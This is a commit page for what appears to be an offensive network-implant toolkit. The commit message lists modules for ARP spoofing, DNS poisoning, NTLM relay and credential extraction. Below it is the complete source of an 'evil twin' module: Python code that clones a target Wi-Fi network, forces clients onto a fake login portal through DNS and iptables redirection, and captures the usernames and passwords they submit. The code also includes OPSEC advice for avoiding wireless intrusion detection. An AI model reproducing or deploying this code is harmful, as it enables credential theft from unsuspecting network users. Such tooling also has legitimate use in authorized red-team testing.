Phase 4: Active modules, templates, and operator scripts
Active modules (9 files in modules/active/): - bettercap_mgr: Central bettercap orchestrator with REST API health monitoring, event stream parsing, crash recovery with corrective gratuitous ARPs, caplet management, and process disguise - arp_spoof: Thin bettercap wrapper for ARP spoofing with OPSEC warnings - dns_poison: DNS poisoning with zone template loading support - dhcp_spoof: DHCPv6 spoofing via bettercap for rogue DNS injection - evil_twin: hostapd-based rogue AP with captive portal and dnsmasq, iptables redirect, credential capture via HTTP POST handler - ipv6_slaac: IPv6 SLAAC spoofing via bettercap + mitm6 WPAD abuse - responder_mgr: Responder subprocess manager with hash file monitoring, NTLMv1/v2 parsing, session log scanning, relay target coordination - mitmproxy_mgr: Transparent proxy with addon scripts, tier checking (OPi Zero 3+ only), iptables setup, credential/token extraction - ntlm_relay: ntlmrelayx wrapper with multi-protocol relay (SMB, LDAP, LDAPS, HTTP, MSSQL, ADCS), Responder exclusion coordination, SOCKS Templates (9 files): - 4 captive portals: corporate SSO, guest WiFi, Outlook/M365, VPN (self-contained HTML with inline CSS, realistic login forms) - 2 DNS zones: redirect-all and selective Jinja2 template - 2 hostapd configs: open AP and WPA2-PSK Jinja2 templates - 1 Responder.conf Jinja2 template with protocol toggles Operator scripts (6 files in scripts/operator/): - pull_data.sh: rsync structured data over WireGuard/Tailscale - extract_files.sh: tshark HTTP/SMB/FTP/TFTP file extraction - extract_print_jobs.sh: TCP/9100 print job reconstruction + PDF convert - extract_emails.sh: SMTP email extraction with attachment detection - crack_hashes.sh: Export creds to hashcat format, optional auto-crack - generate_report.py: SQLite-to-Markdown/HTML engagement report generator
This commit is contained in:
@@ -0,0 +1,553 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Evil Twin AP module — hostapd-based rogue access point with captive portal.
|
||||
|
||||
Creates a wireless access point matching a target SSID, combined with
|
||||
a captive portal served via a lightweight HTTP server. dnsmasq provides
|
||||
DHCP and DNS for connected clients, redirecting all DNS to the portal.
|
||||
|
||||
OPSEC: Run wireless_intel module for 2-hour observation before activation
|
||||
to detect WIDS/WIPS and understand target AP parameters.
|
||||
|
||||
Resources: ~30MB RAM, ~5% CPU
|
||||
"""
|
||||
|
||||
import http.server
|
||||
import logging
|
||||
import os
|
||||
import signal
|
||||
import socketserver
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger("bb.active.evil_twin")
|
||||
|
||||
# Default dnsmasq config for captive portal
|
||||
DNSMASQ_CONF_TEMPLATE = """interface={iface}
|
||||
dhcp-range={dhcp_start},{dhcp_end},255.255.255.0,12h
|
||||
dhcp-option=3,{gateway}
|
||||
dhcp-option=6,{gateway}
|
||||
address=/#/{gateway}
|
||||
no-resolv
|
||||
log-queries
|
||||
log-facility=/tmp/bb-dnsmasq.log
|
||||
"""
|
||||
|
||||
|
||||
class CaptivePortalHandler(http.server.SimpleHTTPRequestHandler):
|
||||
"""HTTP handler for the captive portal.
|
||||
|
||||
Serves the portal HTML for GET requests and captures POST data
|
||||
(credentials) from login forms.
|
||||
"""
|
||||
|
||||
portal_html = ""
|
||||
credential_callback = None
|
||||
|
||||
def do_GET(self):
|
||||
self.send_response(200)
|
||||
self.send_header("Content-Type", "text/html")
|
||||
self.end_headers()
|
||||
self.wfile.write(self.portal_html.encode("utf-8"))
|
||||
|
||||
def do_POST(self):
|
||||
content_length = int(self.headers.get("Content-Length", 0))
|
||||
post_data = self.rfile.read(content_length).decode("utf-8", errors="replace")
|
||||
|
||||
if self.credential_callback:
|
||||
self.credential_callback(self.client_address[0], post_data)
|
||||
|
||||
# Redirect to a "success" page after capture
|
||||
self.send_response(200)
|
||||
self.send_header("Content-Type", "text/html")
|
||||
self.end_headers()
|
||||
success_html = (
|
||||
"<html><body><h2>Connecting...</h2>"
|
||||
"<p>Please wait while we verify your credentials.</p>"
|
||||
"<script>setTimeout(function(){window.location='/'},5000);</script>"
|
||||
"</body></html>"
|
||||
)
|
||||
self.wfile.write(success_html.encode("utf-8"))
|
||||
|
||||
def log_message(self, format, *args):
|
||||
"""Suppress default HTTP logging to avoid console noise."""
|
||||
pass
|
||||
|
||||
|
||||
class EvilTwin(BaseModule):
|
||||
"""Evil Twin AP with captive portal credential harvesting.
|
||||
|
||||
Creates a rogue AP matching a target SSID using hostapd, serves a
|
||||
captive portal, and captures credentials from connecting clients.
|
||||
|
||||
Dependencies:
|
||||
- hostapd (system package)
|
||||
- dnsmasq (system package)
|
||||
- Wireless interface capable of AP mode
|
||||
|
||||
Configuration:
|
||||
wifi_iface: Wireless interface for AP mode (e.g., "wlan0")
|
||||
portal_dir: Path to captive portal HTML templates
|
||||
"""
|
||||
|
||||
name = "evil_twin"
|
||||
module_type = "active"
|
||||
priority = 200
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._hostapd_proc: Optional[subprocess.Popen] = None
|
||||
self._dnsmasq_proc: Optional[subprocess.Popen] = None
|
||||
self._portal_thread: Optional[threading.Thread] = None
|
||||
self._portal_server: Optional[socketserver.TCPServer] = None
|
||||
self._wifi_iface = config.get("wifi_iface", "wlan0")
|
||||
self._ap_active = False
|
||||
self._ssid: Optional[str] = None
|
||||
self._channel = 6
|
||||
self._portal_template: Optional[str] = None
|
||||
self._clients: list = []
|
||||
self._clients_lock = threading.Lock()
|
||||
self._captured_creds: list = []
|
||||
self._creds_lock = threading.Lock()
|
||||
self._portal_port = config.get("portal_port", 80)
|
||||
self._gateway_ip = config.get("ap_gateway", "10.0.0.1")
|
||||
self._dhcp_start = config.get("dhcp_start", "10.0.0.10")
|
||||
self._dhcp_end = config.get("dhcp_end", "10.0.0.250")
|
||||
self._template_dir = config.get(
|
||||
"portal_dir",
|
||||
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "captive_portals"),
|
||||
)
|
||||
self._hostapd_template_dir = config.get(
|
||||
"hostapd_template_dir",
|
||||
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "hostapd"),
|
||||
)
|
||||
self._tmp_dir = "/tmp/bb-evil-twin"
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
Path(self._tmp_dir).mkdir(parents=True, exist_ok=True)
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("EvilTwin module started (ready for AP creation)")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
if self._ap_active:
|
||||
self.stop_ap()
|
||||
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("EvilTwin module stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"ap_active": self._ap_active,
|
||||
"ssid": self._ssid,
|
||||
"channel": self._channel,
|
||||
"interface": self._wifi_iface,
|
||||
"client_count": len(self._clients),
|
||||
"captured_creds": len(self._captured_creds),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
if "wifi_iface" in config:
|
||||
self._wifi_iface = config["wifi_iface"]
|
||||
if "portal_port" in config:
|
||||
self._portal_port = config["portal_port"]
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def create_ap(self, ssid: str, channel: int = 6,
|
||||
portal_template: str = "corporate_login.html") -> bool:
|
||||
"""Create evil twin AP with captive portal.
|
||||
|
||||
Args:
|
||||
ssid: Target SSID to clone.
|
||||
channel: WiFi channel (default 6).
|
||||
portal_template: Filename of HTML portal template.
|
||||
|
||||
Returns:
|
||||
True if AP was created successfully.
|
||||
"""
|
||||
if not self._running:
|
||||
logger.error("EvilTwin not started")
|
||||
return False
|
||||
|
||||
if self._ap_active:
|
||||
logger.warning("AP already active — stop it first")
|
||||
return False
|
||||
|
||||
self._ssid = ssid
|
||||
self._channel = channel
|
||||
self._portal_template = portal_template
|
||||
|
||||
# Write hostapd config
|
||||
hostapd_conf = self._generate_hostapd_config(ssid, channel)
|
||||
hostapd_conf_path = os.path.join(self._tmp_dir, "hostapd.conf")
|
||||
with open(hostapd_conf_path, "w") as f:
|
||||
f.write(hostapd_conf)
|
||||
|
||||
# Configure wireless interface
|
||||
if not self._setup_interface():
|
||||
return False
|
||||
|
||||
# Start hostapd
|
||||
if not self._start_hostapd(hostapd_conf_path):
|
||||
self._teardown_interface()
|
||||
return False
|
||||
|
||||
# Write and start dnsmasq
|
||||
dnsmasq_conf = DNSMASQ_CONF_TEMPLATE.format(
|
||||
iface=self._wifi_iface,
|
||||
dhcp_start=self._dhcp_start,
|
||||
dhcp_end=self._dhcp_end,
|
||||
gateway=self._gateway_ip,
|
||||
)
|
||||
dnsmasq_conf_path = os.path.join(self._tmp_dir, "dnsmasq.conf")
|
||||
with open(dnsmasq_conf_path, "w") as f:
|
||||
f.write(dnsmasq_conf)
|
||||
|
||||
if not self._start_dnsmasq(dnsmasq_conf_path):
|
||||
self._stop_hostapd()
|
||||
self._teardown_interface()
|
||||
return False
|
||||
|
||||
# Configure iptables for captive portal redirect
|
||||
self._setup_iptables()
|
||||
|
||||
# Start captive portal HTTP server
|
||||
self._start_portal(portal_template)
|
||||
|
||||
self._ap_active = True
|
||||
self.state.set(self.name, "ssid", ssid)
|
||||
self.state.set(self.name, "channel", str(channel))
|
||||
logger.info("Evil Twin AP active: SSID=%s, ch=%d, portal=%s",
|
||||
ssid, channel, portal_template)
|
||||
return True
|
||||
|
||||
def stop_ap(self) -> bool:
|
||||
"""Stop the evil twin AP and clean up.
|
||||
|
||||
Returns:
|
||||
True if AP was stopped successfully.
|
||||
"""
|
||||
logger.info("Stopping Evil Twin AP...")
|
||||
|
||||
# Stop portal server
|
||||
self._stop_portal()
|
||||
|
||||
# Remove iptables rules
|
||||
self._teardown_iptables()
|
||||
|
||||
# Stop dnsmasq
|
||||
self._stop_dnsmasq()
|
||||
|
||||
# Stop hostapd
|
||||
self._stop_hostapd()
|
||||
|
||||
# Restore interface
|
||||
self._teardown_interface()
|
||||
|
||||
self._ap_active = False
|
||||
self._ssid = None
|
||||
self.state.set(self.name, "ssid", "")
|
||||
logger.info("Evil Twin AP stopped")
|
||||
return True
|
||||
|
||||
def get_clients(self) -> list:
|
||||
"""Return list of currently connected clients.
|
||||
|
||||
Returns:
|
||||
List of dicts with client MAC and IP.
|
||||
"""
|
||||
# Parse dnsmasq lease file for connected clients
|
||||
lease_file = "/tmp/bb-dnsmasq.leases"
|
||||
clients = []
|
||||
if os.path.isfile(lease_file):
|
||||
try:
|
||||
with open(lease_file, "r") as f:
|
||||
for line in f:
|
||||
parts = line.strip().split()
|
||||
if len(parts) >= 4:
|
||||
clients.append({
|
||||
"mac": parts[1],
|
||||
"ip": parts[2],
|
||||
"hostname": parts[3] if parts[3] != "*" else "",
|
||||
})
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
with self._clients_lock:
|
||||
self._clients = clients
|
||||
return clients
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# hostapd management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _generate_hostapd_config(self, ssid: str, channel: int) -> str:
|
||||
"""Generate hostapd config for open AP."""
|
||||
return (
|
||||
f"interface={self._wifi_iface}\n"
|
||||
f"driver=nl80211\n"
|
||||
f"ssid={ssid}\n"
|
||||
f"hw_mode=g\n"
|
||||
f"channel={channel}\n"
|
||||
f"wmm_enabled=0\n"
|
||||
f"macaddr_acl=0\n"
|
||||
f"auth_algs=1\n"
|
||||
f"ignore_broadcast_ssid=0\n"
|
||||
f"wpa=0\n"
|
||||
)
|
||||
|
||||
def _start_hostapd(self, conf_path: str) -> bool:
|
||||
try:
|
||||
self._hostapd_proc = subprocess.Popen(
|
||||
["hostapd", conf_path],
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE,
|
||||
)
|
||||
time.sleep(2) # Wait for hostapd to initialize
|
||||
if self._hostapd_proc.poll() is not None:
|
||||
stderr = self._hostapd_proc.stderr.read().decode(errors="replace")
|
||||
logger.error("hostapd failed to start: %s", stderr)
|
||||
return False
|
||||
logger.info("hostapd started (pid=%d)", self._hostapd_proc.pid)
|
||||
return True
|
||||
except FileNotFoundError:
|
||||
logger.error("hostapd not found — install with: apt install hostapd")
|
||||
return False
|
||||
except Exception as e:
|
||||
logger.error("Failed to start hostapd: %s", e)
|
||||
return False
|
||||
|
||||
def _stop_hostapd(self) -> None:
|
||||
if self._hostapd_proc and self._hostapd_proc.poll() is None:
|
||||
self._hostapd_proc.terminate()
|
||||
try:
|
||||
self._hostapd_proc.wait(timeout=5)
|
||||
except subprocess.TimeoutExpired:
|
||||
self._hostapd_proc.kill()
|
||||
self._hostapd_proc = None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# dnsmasq management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _start_dnsmasq(self, conf_path: str) -> bool:
|
||||
try:
|
||||
self._dnsmasq_proc = subprocess.Popen(
|
||||
[
|
||||
"dnsmasq", "-C", conf_path,
|
||||
"--no-daemon",
|
||||
"--dhcp-leasefile=/tmp/bb-dnsmasq.leases",
|
||||
],
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE,
|
||||
)
|
||||
time.sleep(1)
|
||||
if self._dnsmasq_proc.poll() is not None:
|
||||
stderr = self._dnsmasq_proc.stderr.read().decode(errors="replace")
|
||||
logger.error("dnsmasq failed to start: %s", stderr)
|
||||
return False
|
||||
logger.info("dnsmasq started (pid=%d)", self._dnsmasq_proc.pid)
|
||||
return True
|
||||
except FileNotFoundError:
|
||||
logger.error("dnsmasq not found — install with: apt install dnsmasq")
|
||||
return False
|
||||
except Exception as e:
|
||||
logger.error("Failed to start dnsmasq: %s", e)
|
||||
return False
|
||||
|
||||
def _stop_dnsmasq(self) -> None:
|
||||
if self._dnsmasq_proc and self._dnsmasq_proc.poll() is None:
|
||||
self._dnsmasq_proc.terminate()
|
||||
try:
|
||||
self._dnsmasq_proc.wait(timeout=5)
|
||||
except subprocess.TimeoutExpired:
|
||||
self._dnsmasq_proc.kill()
|
||||
self._dnsmasq_proc = None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Interface management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _setup_interface(self) -> bool:
|
||||
"""Configure wireless interface for AP mode."""
|
||||
try:
|
||||
# Kill interfering processes
|
||||
subprocess.run(
|
||||
["airmon-ng", "check", "kill"],
|
||||
capture_output=True, timeout=10,
|
||||
)
|
||||
# Set interface up with IP
|
||||
subprocess.run(
|
||||
["ip", "addr", "flush", "dev", self._wifi_iface],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
subprocess.run(
|
||||
["ip", "addr", "add", f"{self._gateway_ip}/24", "dev", self._wifi_iface],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
subprocess.run(
|
||||
["ip", "link", "set", self._wifi_iface, "up"],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
return True
|
||||
except Exception:
|
||||
logger.exception("Failed to configure wireless interface")
|
||||
return False
|
||||
|
||||
def _teardown_interface(self) -> None:
|
||||
"""Restore wireless interface to managed mode."""
|
||||
try:
|
||||
subprocess.run(
|
||||
["ip", "addr", "flush", "dev", self._wifi_iface],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# iptables for captive portal
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _setup_iptables(self) -> None:
|
||||
"""Set up iptables to redirect HTTP traffic to the captive portal."""
|
||||
rules = [
|
||||
# Enable NAT
|
||||
["iptables", "-t", "nat", "-A", "POSTROUTING", "-o", self._wifi_iface,
|
||||
"-j", "MASQUERADE"],
|
||||
# Redirect HTTP to portal
|
||||
["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._wifi_iface,
|
||||
"-p", "tcp", "--dport", "80", "-j", "REDIRECT",
|
||||
"--to-port", str(self._portal_port)],
|
||||
# Redirect HTTPS to portal (for captive portal detection)
|
||||
["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._wifi_iface,
|
||||
"-p", "tcp", "--dport", "443", "-j", "REDIRECT",
|
||||
"--to-port", str(self._portal_port)],
|
||||
]
|
||||
for rule in rules:
|
||||
try:
|
||||
subprocess.run(rule, capture_output=True, timeout=5)
|
||||
except Exception:
|
||||
logger.warning("Failed to apply iptables rule: %s", " ".join(rule))
|
||||
|
||||
# Enable IP forwarding
|
||||
try:
|
||||
with open("/proc/sys/net/ipv4/ip_forward", "w") as f:
|
||||
f.write("1")
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _teardown_iptables(self) -> None:
|
||||
"""Remove captive portal iptables rules."""
|
||||
rules = [
|
||||
["iptables", "-t", "nat", "-D", "POSTROUTING", "-o", self._wifi_iface,
|
||||
"-j", "MASQUERADE"],
|
||||
["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._wifi_iface,
|
||||
"-p", "tcp", "--dport", "80", "-j", "REDIRECT",
|
||||
"--to-port", str(self._portal_port)],
|
||||
["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._wifi_iface,
|
||||
"-p", "tcp", "--dport", "443", "-j", "REDIRECT",
|
||||
"--to-port", str(self._portal_port)],
|
||||
]
|
||||
for rule in rules:
|
||||
try:
|
||||
subprocess.run(rule, capture_output=True, timeout=5)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Captive portal HTTP server
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _start_portal(self, template_name: str) -> None:
|
||||
"""Start the captive portal HTTP server."""
|
||||
portal_path = os.path.join(self._template_dir, template_name)
|
||||
if os.path.isfile(portal_path):
|
||||
with open(portal_path, "r") as f:
|
||||
CaptivePortalHandler.portal_html = f.read()
|
||||
else:
|
||||
logger.warning("Portal template not found: %s — using default", portal_path)
|
||||
CaptivePortalHandler.portal_html = (
|
||||
"<html><body><h1>Welcome</h1>"
|
||||
"<form method='POST'>"
|
||||
"<input name='username' placeholder='Username'><br>"
|
||||
"<input name='password' type='password' placeholder='Password'><br>"
|
||||
"<button type='submit'>Sign In</button>"
|
||||
"</form></body></html>"
|
||||
)
|
||||
|
||||
CaptivePortalHandler.credential_callback = self._on_credential_captured
|
||||
|
||||
self._portal_server = socketserver.TCPServer(
|
||||
("0.0.0.0", self._portal_port), CaptivePortalHandler
|
||||
)
|
||||
self._portal_server.allow_reuse_address = True
|
||||
|
||||
self._portal_thread = threading.Thread(
|
||||
target=self._portal_server.serve_forever,
|
||||
daemon=True,
|
||||
name="bb-captive-portal",
|
||||
)
|
||||
self._portal_thread.start()
|
||||
logger.info("Captive portal serving on port %d", self._portal_port)
|
||||
|
||||
def _stop_portal(self) -> None:
|
||||
if self._portal_server:
|
||||
self._portal_server.shutdown()
|
||||
self._portal_server = None
|
||||
|
||||
def _on_credential_captured(self, client_ip: str, post_data: str) -> None:
|
||||
"""Handle credential submission from captive portal."""
|
||||
with self._creds_lock:
|
||||
self._captured_creds.append({
|
||||
"timestamp": time.time(),
|
||||
"client_ip": client_ip,
|
||||
"post_data": post_data,
|
||||
})
|
||||
|
||||
# Parse form data for username/password
|
||||
from urllib.parse import parse_qs
|
||||
params = parse_qs(post_data)
|
||||
username = params.get("username", params.get("email", [""]))[0] if params else ""
|
||||
password = params.get("password", params.get("pass", [""]))[0] if params else ""
|
||||
|
||||
self.bus.emit(
|
||||
"CREDENTIAL_FOUND",
|
||||
{
|
||||
"source_module": self.name,
|
||||
"source_ip": client_ip,
|
||||
"target_service": f"captive_portal:{self._ssid}",
|
||||
"username": username,
|
||||
"credential_type": "cleartext",
|
||||
"credential_value": password,
|
||||
"raw_data": post_data,
|
||||
},
|
||||
source_module=self.name,
|
||||
)
|
||||
logger.info("Captive portal credential captured from %s", client_ip)
|
||||
Reference in New Issue
Block a user